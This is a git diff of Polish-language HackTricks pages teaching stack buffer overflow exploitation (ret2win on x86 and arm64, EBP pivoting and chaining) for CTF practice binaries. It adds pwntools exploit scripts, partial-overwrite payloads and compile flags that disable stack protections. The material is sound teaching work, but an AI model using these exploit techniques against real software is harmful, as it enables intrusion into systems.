* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
+* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
## Co to jest przepełnienie stosu
-**Przepełnienie stosu** to podatność, która występuje, gdy program zapisuje więcej danych na stosie, niż jest mu przydzielone do przechowywania. Nadmiarowe dane **nadpisują sąsiednie miejsce w pamięci**, prowadząc do uszkodzenia poprawnych danych, zakłócenia przepływu kontroli i potencjalnie wykonania złośliwego kodu. Ten problem często wynika z użycia funkcji niebezpiecznych, które nie wykonują sprawdzania granic danych wejściowych.
+**Przepełnienie stosu** to podatność, która występuje, gdy program zapisuje więcej danych na stosie, niż jest mu przydzielone do przechowywania. Nadmiarowe dane **nadpisują sąsiednie miejsce w pamięci**, prowadząc do uszkodzenia poprawnych danych, zakłócenia przepływu sterowania i potencjalnie wykonania złośliwego kodu. Ten problem często wynika z użycia funkcji niebezpiecznych, które nie wykonują sprawdzania granic danych wejściowych.
Głównym problemem tego nadpisania jest to, że **zachowany wskaźnik instrukcji (EIP/RIP)** i **zachowany wskaźnik bazowy (EBP/RBP)** do powrotu do poprzedniej funkcji są **przechowywane na stosie**. Dlatego atakujący będzie mógł nadpisać te wartości i **kontrolować przepływ wykonania programu**.
-Podatność zazwyczaj pojawia się, gdy funkcja **kopiuję więcej bajtów na stosie niż jest na niego zaalokowane**, co pozwala na nadpisanie innych części stosu.
+Podatność zazwyczaj pojawia się, gdy funkcja **kopiuję na stos więcej bajtów niż jest na niego zaalokowane**, co pozwala na nadpisanie innych części stosu.
-Niektóre powszechne funkcje podatne na to to: **`strcpy`, `strcat`, `sprintf`, `gets`**... Ponadto funkcje takie jak **`fgets`**, **`read` & `memcpy`**, które przyjmują argument **długości**, mogą być używane w podatny sposób, jeśli określona długość jest większa niż zaalokowana.
+Niektóre powszechne funkcje podatne na to są: **`strcpy`, `strcat`, `sprintf`, `gets`**... Ponadto funkcje takie jak **`fgets`**, **`read` & `memcpy`**, które przyjmują argument **długości**, mogą być używane w podatny sposób, jeśli określona długość jest większa niż zaalokowana.
Na przykład, następujące funkcje mogą być podatne:
```c
@@ -41,7 +41,7 @@ Ponadto, gdy już zidentyfikujesz podatność na przepełnienie stosu, będziesz
W ten sposób, zamiast ręcznie określać potrzebne przesunięcie do kontrolowania EIP, można użyć jednej z tych sekwencji jako dopełnienia, a następnie znaleźć przesunięcie bajtów, które nadpisały ten adres.
-Można to zrobić przy użyciu **pwntools**:
+Można to zrobić za pomocą **pwntools**:
```python
from pwn import *
@@ -63,29 +63,29 @@ pattern search $rsp #Search the offset given the content of $rsp
## Wykorzystywanie przepełnień stosu
Podczas przepełnienia (przy założeniu, że rozmiar przepełnienia jest wystarczająco duży) będziesz mógł **nadpisać** wartości zmiennych lokalnych na stosie aż do osiągnięcia zapisanych **EBP/RBP i EIP/RIP (lub nawet więcej)**.\
-Najczęstszym sposobem wykorzystania tego rodzaju podatności jest **modyfikacja adresu powrotu**, aby po zakończeniu funkcji **przepływ sterowania został przekierowany w miejsce, które użytkownik określił** w tym wskaźniku.
+Najczęstszym sposobem wykorzystania tego rodzaju podatności jest **modyfikacja adresu powrotu**, aby po zakończeniu funkcji **przepływ sterowania został przekierowany w miejsce wskazane przez użytkownika** w tym wskaźniku.
-Jednakże, w innych scenariuszach może być wystarczające **nadpisanie wartości niektórych zmiennych na stosie** dla eksploatacji (jak w łatwych wyzwaniach CTF).
+Jednakże, w innych scenariuszach może być wystarczające jedynie **nadpisanie wartości niektórych zmiennych na stosie** dla eksploatacji (jak w łatwych wyzwaniach CTF).
### Ret2win
W tego rodzaju wyzwaniach CTF, istnieje **funkcja** **wewnątrz** binariów, która **nigdy nie jest wywoływana** i **musisz ją wywołać, aby wygrać**. W tych wyzwaniach wystarczy znaleźć **przesunięcie do nadpisania adresu powrotu** i **znaleźć adres funkcji** do wywołania (zwykle [**ASLR**](../common-binary-protections-and-bypasses/aslr/) byłoby wyłączone), więc gdy podatna funkcja zakończy działanie, ukryta funkcja zostanie wywołana:
-{% content-ref url="ret2win.md" %}
-[ret2win.md](ret2win.md)
+{% content-ref url="ret2win/" %}
+[ret2win](ret2win/)
{% endcontent-ref %}
### Shellcode na stosie
W tym scenariuszu atakujący może umieścić shellcode na stosie i wykorzystać kontrolowany EIP/RIP, aby przeskoczyć do shellcode i wykonać dowolny kod:
-{% content-ref url="stack-shellcode.md" %}
-[stack-shellcode.md](stack-shellcode.md)
+{% content-ref url="stack-shellcode/" %}
+[stack-shellcode](stack-shellcode/)
{% endcontent-ref %}
### ROP i techniki Ret2...
-Ta technika stanowi podstawową strukturę do obejścia głównej ochrony poprzedniej techniki: **Brak wykonalnego stosu (NX)**. Pozwala ona na wykonanie kilku innych technik (ret2lib, ret2syscall...), które zakończą się wykonaniem dowolnych poleceń poprzez nadużywanie istniejących instrukcji w binariach:
+Ta technika stanowi podstawową strukturę do obejścia głównej ochrony poprzedniej techniki: **Brak wykonalnego stosu (NX)**. I pozwala na wykonanie kilku innych technik (ret2lib, ret2syscall...), które zakończą się wykonaniem dowolnych poleceń poprzez nadużywanie istniejących instrukcji w binariach:
{% content-ref url="../rop-return-oriented-programing/" %}
[rop-return-oriented-programing](../rop-return-oriented-programing/)
@@ -93,7 +93,7 @@ Ta technika stanowi podstawową strukturę do obejścia głównej ochrony poprze
## Rodzaje zabezpieczeń
-Istnieje kilka zabezpieczeń próbujących zapobiec wykorzystaniu podatności, sprawdź je w:
+Istnieje kilka zabezpieczeń próbujących zapobiec wykorzystaniu podatności, sprawdź je:
{% content-ref url="../common-binary-protections-and-bypasses/" %}
[common-binary-protections-and-bypasses](../common-binary-protections-and-bypasses/)
diff --git a/binary-exploitation/stack-overflow/ret2win/README.md b/binary-exploitation/stack-overflow/ret2win/README.md
new file mode 100644
index 000000000..874662467
--- /dev/null
+++ b/binary-exploitation/stack-overflow/ret2win/README.md
@@ -0,0 +1,127 @@
+# Ret2win
+
+
+
+Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
+
+Inne sposoby wsparcia HackTricks:
+
+* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
+* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
+* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
+* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+
+
+## Podstawowe informacje
+
+**Wyzwania Ret2win** są popularną kategorią w konkursach **Capture The Flag (CTF)**, szczególnie w zadaniach związanych z **eksploatacją binarną**. Celem jest wykorzystanie podatności w danym pliku binarnym do wykonania określonej, niezawołanej funkcji wewnątrz binarnego pliku, często nazwanej np. `win`, `flag`, itp. Ta funkcja, gdy jest wywoływana, zazwyczaj wyświetla flagę lub komunikat o sukcesie. Wyzwanie zazwyczaj polega na nadpisaniu **adresu powrotu** na stosie, aby zmienić przepływ wykonania na pożądaną funkcję. Oto bardziej szczegółowe wyjaśnienie wraz z przykładami:
+
+### Przykład w języku C
+
+Rozważ prosty program w języku C z podatnością i funkcją `win`, którą zamierzamy wywołać:
+```c
+#include
+#include
+
+void win() {
+printf("Congratulations! You've called the win function.\n");
+}
+
+void vulnerable_function() {
+char buf[64];
+gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
+}
+
+int main() {
+vulnerable_function();
+return 0;
+}
+```
+Aby skompilować ten program bez zabezpieczeń stosu i z wyłączonym **ASLR**, można użyć poniższej komendy:
+```sh
+gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
+```
+* `-m32`: Skompiluj program jako 32-bitowy binarny (to jest opcjonalne, ale częste w wyzwaniach CTF).
+* `-fno-stack-protector`: Wyłącz zabezpieczenia przed przepełnieniem stosu.
+* `-z execstack`: Pozwól na wykonanie kodu ze stosu.
+* `-no-pie`: Wyłącz wykonywalne pliki o pozycji niezależnej, aby zapewnić, że adres funkcji `win` nie zmieni się.
+* `-o vulnerable`: Nazwij plik wyjściowy `vulnerable`.
+
+### Wykorzystanie exploitu w Pythonie za pomocą Pwntools
+
+Do eksploatacji użyjemy **pwntools**, potężnego frameworka CTF do pisania exploitów. Skrypt exploitu stworzy ładunek, aby przepełnić bufor i nadpisać adres powrotu adresem funkcji `win`.
+```python
+from pwn import *
+
+# Set up the process and context for the binary
+binary_path = './vulnerable'
+p = process(binary_path)
+context.binary = binary_path
+
+# Find the address of the win function
+win_addr = p32(0x08048456) # Replace 0x08048456 with the actual address of the win function in your binary
+
+# Create the payload
+# The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address.
+payload = b'A' * 68 + win_addr
+
+# Send the payload
+p.sendline(payload)
+p.interactive()
+```
+Aby znaleźć adres funkcji `win`, możesz użyć **gdb**, **objdump** lub innego narzędzia umożliwiającego inspekcję plików binarnych. Na przykład, z `objdump` możesz użyć:
+```sh
+objdump -d vulnerable | grep win
+```
+To polecenie pokaże ci zestawienie funkcji `win`, wraz z jej adresem początkowym.
+
+Skrypt w języku Python wysyła starannie spreparowaną wiadomość, która po przetworzeniu przez funkcję `vulnerable_function` powoduje przepełnienie bufora i nadpisanie adresu powrotu na stosie adresem `win`. Gdy funkcja `vulnerable_function` zakończy działanie, zamiast wracać do `main` lub zakończyć, skacze do funkcji `win`, a wiadomość zostaje wyświetlona.
+
+## Zabezpieczenia
+
+* [**PIE**](../../common-binary-protections-and-bypasses/pie/) **powinno być wyłączone** aby adres był niezawodny w kolejnych wykonaniach, w przeciwnym razie adres, pod którym będzie przechowywana funkcja, nie będzie zawsze taki sam i będzie potrzebny jakiś wyciek, aby ustalić, gdzie jest załadowana funkcja `win`. W niektórych przypadkach, gdy funkcja powodująca przepełnienie to `read` lub podobna, można dokonać **Częściowego Nadpisania** 1 lub 2 bajtami, aby zmienić adres powrotu na funkcję `win`. Ze względu na działanie ASLR, ostatnie trzy heksadecymalne cyfry nie są losowo generowane, więc istnieje **1/16 szansa** (1 cyfra) na uzyskanie poprawnego adresu powrotu.
+* [**Canary na stosie**](../../common-binary-protections-and-bypasses/stack-canaries/) powinno być również wyłączone, w przeciwnym razie skompromitowany adres powrotu EIP nigdy nie zostanie wykonany.
+
+## Inne przykłady i odnośniki
+
+* [https://ir0nstone.gitbook.io/notes/types/stack/ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win)
+* [https://guyinatuxedo.github.io/04-bof\_variable/tamu19\_pwn1/index.html](https://guyinatuxedo.github.io/04-bof\_variable/tamu19\_pwn1/index.html)
+* 32 bity, brak ASLR
+* [https://guyinatuxedo.github.io/05-bof\_callfunction/csaw16\_warmup/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/csaw16\_warmup/index.html)
+* 64 bity z ASLR, z wyciekiem adresu binarnego
+* [https://guyinatuxedo.github.io/05-bof\_callfunction/csaw18\_getit/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/csaw18\_getit/index.html)
+* 64 bity, brak ASLR
+* [https://guyinatuxedo.github.io/05-bof\_callfunction/tu17\_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/tu17\_vulnchat/index.html)
+* 32 bity, brak ASLR, podwójne małe przepełnienie, najpierw przepełnienie stosu i zwiększenie rozmiaru drugiego przepełnienia
+* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
+* 32 bity, relro, brak canary, nx, brak pie, łańcuch formatujący do nadpisania adresu `fflush` funkcją win (ret2win)
+* [https://guyinatuxedo.github.io/15-partial\_overwrite/tamu19\_pwn2/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/tamu19\_pwn2/index.html)
+* 32 bity, nx, nic więcej, częściowe nadpisanie EIP (1 bajt) w celu wywołania funkcji win
+* [https://guyinatuxedo.github.io/15-partial\_overwrite/tuctf17\_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/tuctf17\_vulnchat2/index.html)
+* 32 bity, nx, nic więcej, częściowe nadpisanie EIP (1 bajt) w celu wywołania funkcji win
+* [https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html](https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html)
+* Program sprawdza tylko ostatni bajt liczby, aby sprawdzić rozmiar wejścia, dlatego można dodać dowolny rozmiar, o ile ostatni bajt mieści się w dozwolonym zakresie. Następnie wejście powoduje przepełnienie bufora wykorzystane z ret2win.
+* [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
+* 64 bity, relro, brak canary, nx, pie. Częściowe nadpisanie w celu wywołania funkcji win (ret2win)
+
+## Przykład ARM64
+
+{% content-ref url="ret2win-arm64.md" %}
+[ret2win-arm64.md](ret2win-arm64.md)
+{% endcontent-ref %}
+
+
+
+Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
+
+Inne sposoby wsparcia HackTricks:
+
+* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
+* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
+* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
+* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+
diff --git a/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md b/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md
new file mode 100644
index 000000000..ff1f88142
--- /dev/null
+++ b/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md
@@ -0,0 +1,190 @@
+# Ret2win - arm64
+
+
+
+Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
+
+Inne sposoby wsparcia HackTricks:
+
+* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
+* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
+* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
+* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+
+
+Znajdź wprowadzenie do arm64 w:
+
+{% content-ref url="../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %}
+[arm64-basic-assembly.md](../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
+{% endcontent-ref %}
+
+## Kod
+```c
+#include
+#include
+
+void win() {
+printf("Congratulations!\n");
+}
+
+void vulnerable_function() {
+char buffer[64];
+read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
+}
+
+int main() {
+vulnerable_function();
+return 0;
+}
+```
+Kompiluj bez flagi PIE i canary:
+```bash
+clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie
+```
+## Znajdowanie przesunięcia
+
+### Opcja wzorca
+
+Ten przykład został stworzony przy użyciu [**GEF**](https://github.com/bata24/gef):
+
+Uruchom gdb z gef, stwórz wzorzec i użyj go:
+```bash
+gdb -q ./ret2win
+pattern create 200
+run
+```
+
+
+arm64 spróbuje powrócić do adresu w rejestrze x30 (który został skompromitowany), możemy go wykorzystać do znalezienia przesunięcia wzorca:
+```bash
+pattern search $x30
+```
+
+
+**Przesunięcie wynosi 72 (9x48).**
+
+### Opcja przesunięcia stosu
+
+Zacznij od uzyskania adresu stosu, w którym przechowywany jest rejestr pc:
+```bash
+gdb -q ./ret2win
+b *vulnerable_function + 0xc
+run
+info frame
+```
+
+
+Teraz ustaw punkt przerwania po `read()` i kontynuuj do momentu wykonania `read()` oraz ustaw wzorzec, na przykład 13371337:
+```
+b *vulnerable_function+28
+c
+```
+
+
+Znajdź, gdzie ten wzorzec jest przechowywany w pamięci:
+
+
+
+Następnie: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**
+
+
+
+## Brak PIE
+
+### Regularne
+
+Uzyskaj adres funkcji **`win`**:
+```bash
+objdump -d ret2win | grep win
+ret2win: file format elf64-littleaarch64
+00000000004006c4 :
+```
+Wykorzystanie:
+```python
+from pwn import *
+
+# Configuration
+binary_name = './ret2win'
+p = process(binary_name)
+
+# Prepare the payload
+offset = 72
+ret2win_addr = p64(0x00000000004006c4)
+payload = b'A' * offset + ret2win_addr
+
+# Send the payload
+p.send(payload)
+
+# Check response
+print(p.recvline())
+p.close()
+```
+### Off-by-2
+
+Zamiast nadpisywać cały adres powrotu, nadpiszemy **tylko ostatnie 2 bajty** wartością `0x06c4`.
+```python
+from pwn import *
+
+# Configuration
+binary_name = './ret2win'
+p = process(binary_name)
+
+# Prepare the payload
+offset = 72
+ret2win_addr = p16(0x06c4)
+payload = b'A' * offset + ret2win_addr
+
+# Send the payload
+p.send(payload)
+
+# Check response
+print(p.recvline())
+p.close()
+```
+
+
+## Z PIE
+
+{% hint style="success" %}
+Skompiluj binarny **bez argumentu `-no-pie`**
+{% endhint %}
+
+### Off-by-2
+
+Bez wycieku nie znamy dokładnego adresu funkcji wygrywającej, ale możemy poznać przesunięcie funkcji od binarnego pliku i wiedząc, że adres powrotu, który nadpisujemy, już wskazuje na bliski adres, jest możliwe wycieknięcie przesunięcia do funkcji wygrywającej (**0x7d4**) w tym przypadku i po prostu użyć tego przesunięcia:
+
+
+```python
+from pwn import *
+
+# Configuration
+binary_name = './ret2win'
+p = process(binary_name)
+
+# Prepare the payload
+offset = 72
+ret2win_addr = p16(0x07d4)
+payload = b'A' * offset + ret2win_addr
+
+# Send the payload
+p.send(payload)
+
+# Check response
+print(p.recvline())
+p.close()
+```
+
+
+Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
+
+Inne sposoby wsparcia HackTricks:
+
+* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
+* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
+* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
+* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
+
+
diff --git a/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md b/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md
index 21f8335f2..90d3764d8 100644
--- a/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md
+++ b/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md
@@ -6,7 +6,7 @@
Inne sposoby wsparcia HackTricks:
-* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
+* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
@@ -16,7 +16,7 @@ Inne sposoby wsparcia HackTricks:
## Podstawowe informacje
-Ta technika wykorzystuje możliwość manipulacji **Wskaźnikiem Bazowym (EBP)** do łańcuchowego wykonywania wielu funkcji poprzez ostrożne wykorzystanie rejestru EBP i sekwencji instrukcji **`leave; ret`**.
+Ta technika wykorzystuje możliwość manipulowania **Wskaźnikiem Bazowym (EBP)** do łańcuchowego wykonywania wielu funkcji poprzez ostrożne wykorzystanie rejestru EBP i sekwencji instrukcji **`leave; ret`**.
Jako przypomnienie, **`leave`** oznacza w zasadzie:
```
@@ -28,47 +28,47 @@ I ponieważ **EBP znajduje się na stosie** przed EIP, możliwe jest jego kontro
### EBP2Ret
-Ta technika jest szczególnie przydatna, gdy można **zmienić rejestr EBP, ale nie ma bezpośredniego sposobu na zmianę rejestru EIP**. Wykorzystuje zachowanie funkcji po zakończeniu ich wykonywania.
+Ta technika jest szczególnie przydatna, gdy można **zmienić rejestr EBP, ale nie ma bezpośredniego sposobu na zmianę rejestru EIP**. Wykorzystuje zachowanie funkcji po zakończeniu ich wykonania.
-Jeśli podczas wykonywania `fvuln` uda ci się wstrzyknąć **fałszywy EBP** na stosie wskazujący na obszar w pamięci, gdzie znajduje się adres twojego kodu powłoki (plus 4 bajty na operację `pop`), możesz pośrednio kontrolować EIP. Gdy `fvuln` zwraca, ESP jest ustawiane na ten spreparowany adres, a następna operacja `pop` zmniejsza ESP o 4 bajty, **efektywnie wskazując na adres przechowywany przez atakującego.**\
+Jeśli podczas wykonywania `fvuln` uda ci się wstrzyknąć **fałszywy EBP** na stosie wskazujący na obszar w pamięci, gdzie znajduje się adres twojego shellcode (plus 4 bajty na operację `pop`), możesz pośrednio kontrolować EIP. Gdy `fvuln` zwraca, ESP jest ustawiane na ten spreparowany adres, a następna operacja `pop` zmniejsza ESP o 4 bajty, **efektywnie wskazując na adres przechowywany przez atakującego.**\
Zauważ, że musisz znać **2 adresy**: Ten, gdzie ma trafić ESP, gdzie będziesz musiał zapisać adres wskazywany przez ESP.
#### Konstrukcja ataku
-Najpierw musisz znać **adres, gdzie możesz zapisać dowolne dane / adresy**. ESP będzie wskazywał tutaj i **wykona pierwsze `ret`**.
+Najpierw musisz znać **adres, gdzie możesz pisać dowolne dane / adresy**. ESP będzie wskazywał tutaj i **wykona pierwsze `ret`**.
Następnie musisz znać adres używany przez `ret`, który **wykona kod dowolny**. Możesz użyć:
* Prawidłowy adres [**ONE\_GADGET**](https://github.com/david942j/one\_gadget).
* Adres **`system()`** poprzedzony **4 niepotrzebnymi bajtami** i adresem `"/bin/sh"` (bity x86).
-* Adres gadżetu **`jump esp;`** ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) poprzedzony **kodem powłoki** do wykonania.
-* Kilka łańcuchów [**ROP**](../rop-return-oriented-programing/).
+* Adres gadżetu **`jump esp;`** ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) poprzedzony **shellcodem** do wykonania.
+* Pewną łańcuch [**ROP**](../rop-return-oriented-programing/).
-Pamiętaj, że przed każdym z tych adresów w kontrolowanej części pamięci muszą być **`4` bajty** z powodu części **`pop`** instrukcji `leave`. Można byłoby wykorzystać te 4B, aby ustawić **drugiego fałszywego EBP** i kontynuować kontrolowanie wykonania.
+Pamiętaj, że przed każdym z tych adresów w kontrolowanej części pamięci muszą być **`4` bajty** ze względu na część **`pop`** instrukcji `leave`. Można wykorzystać te 4B, aby ustawić **drugiego fałszywego EBP** i kontynuować kontrolowanie wykonania.
#### Atak Off-By-One
Istnieje specyficzna wersja tej techniki znana jako "Atak Off-By-One". Jest używana, gdy można **zmodyfikować tylko najmniej znaczący bajt EBP**. W takim przypadku lokalizacja pamięci przechowująca adres do skoku z **`ret`** musi dzielić trzy pierwsze bajty z EBP, co pozwala na podobną manipulację przy bardziej ograniczonych warunkach.\
-Zazwyczaj modyfikuje się bajt 0x00, aby skoczyć jak najdalej.
+Zazwyczaj modyfikowany jest bajt 0x00, aby skoczyć jak najdalej.
-Jest również powszechne użycie ślizgu RET na stosie i umieszczenie prawdziwego łańcucha ROP na końcu, aby zwiększyć prawdopodobieństwo, że nowy ESP wskaże do środka RET SLED, a ostateczny łańcuch ROP zostanie wykonany.
+Jest również powszechne użycie ślizgu RET na stosie i umieszczenie prawdziwej łańcucha ROP na końcu, aby zwiększyć prawdopodobieństwo, że nowy ESP wskaże do ślizgu RET i zostanie wykonany ostateczny łańcuch ROP.
### **Łańcuchowanie EBP**
-Dlatego umieszczenie kontrolowanego adresu w wpisie `EBP` na stosie i adresu do `leave; ret` w `EIP` pozwala na **przeniesienie `ESP` do kontrolowanego adresu `EBP` ze stosu**.
+Dlatego umieszczenie kontrolowanego adresu w wpisie `EBP` na stosie i adresu `leave; ret` w `EIP` pozwala na **przeniesienie `ESP` do kontrolowanego adresu `EBP` ze stosu**.
-Teraz **`ESP`** jest kontrolowany, wskazując na pożądany adres, a następną instrukcją do wykonania jest `RET`. Aby wykorzystać to, można umieścić w kontrolowanym miejscu ESP to:
+Teraz **`ESP`** jest kontrolowany wskazując na pożądany adres, a następną instrukcją do wykonania jest `RET`. Aby wykorzystać to, można umieścić w kontrolowanym miejscu ESP to:
* **`&(następny fałszywy EBP)`** -> Wczytaj nowy EBP z powodu `pop ebp` z instrukcji `leave`
* **`system()`** -> Wywołane przez `ret`
-* **`&(leave;ret)`** -> Wywołane po zakończeniu systemu, przeniesie ESP do fałszywego EBP i zacznie ponownie
+* **`&(leave;ret)`** -> Wywołane po zakończeniu systemu, przeniesie ESP do fałszywego EBP i rozpocznie ponownie
* **`&("/bin/sh")`**-> Parametr dla `system`
W ten sposób można łańcuchować kilka fałszywych EBPs, aby kontrolować przepływ programu.
To jest podobne do [ret2lib](../rop-return-oriented-programing/ret2lib/), ale bardziej złożone bez oczywistej korzyści, ale może być interesujące w niektórych skrajnych przypadkach.
-Ponadto, tutaj masz [**przykład wyzwania**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave), które wykorzystuje tę technikę z **wyciekiem stosu**, aby wywołać funkcję wygrywającą. To jest ostateczny ładunek ze strony:
+Ponadto, tutaj masz [**przykład wyzwania**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave), które wykorzystuje tę technikę z **wyciekiem stosu** do wywołania funkcji wygrywającej. To jest ostateczny ładunek ze strony:
```python
from pwn import *
@@ -106,7 +106,7 @@ print(p.recvline())
```
## EBP może nie być używany
-Jak [**wyjaśniono w tym poście**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), jeśli binarny jest skompilowany z pewnymi optymalizacjami, **EBP nigdy nie kontroluje ESP**, dlatego też jakiekolwiek wykorzystanie, które działa poprzez kontrolę EBP, zasadniczo zawiedzie, ponieważ nie ma to żadnego rzeczywistego efektu.\
+Jak [**wyjaśniono w tym poście**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), jeśli binarny jest skompilowany z pewnymi optymalizacjami, **EBP nigdy nie kontroluje ESP**, dlatego też jakiekolwiek wykorzystanie działające poprzez kontrolę EBP zasadniczo zawiedzie, ponieważ nie ma to żadnego rzeczywistego efektu.\
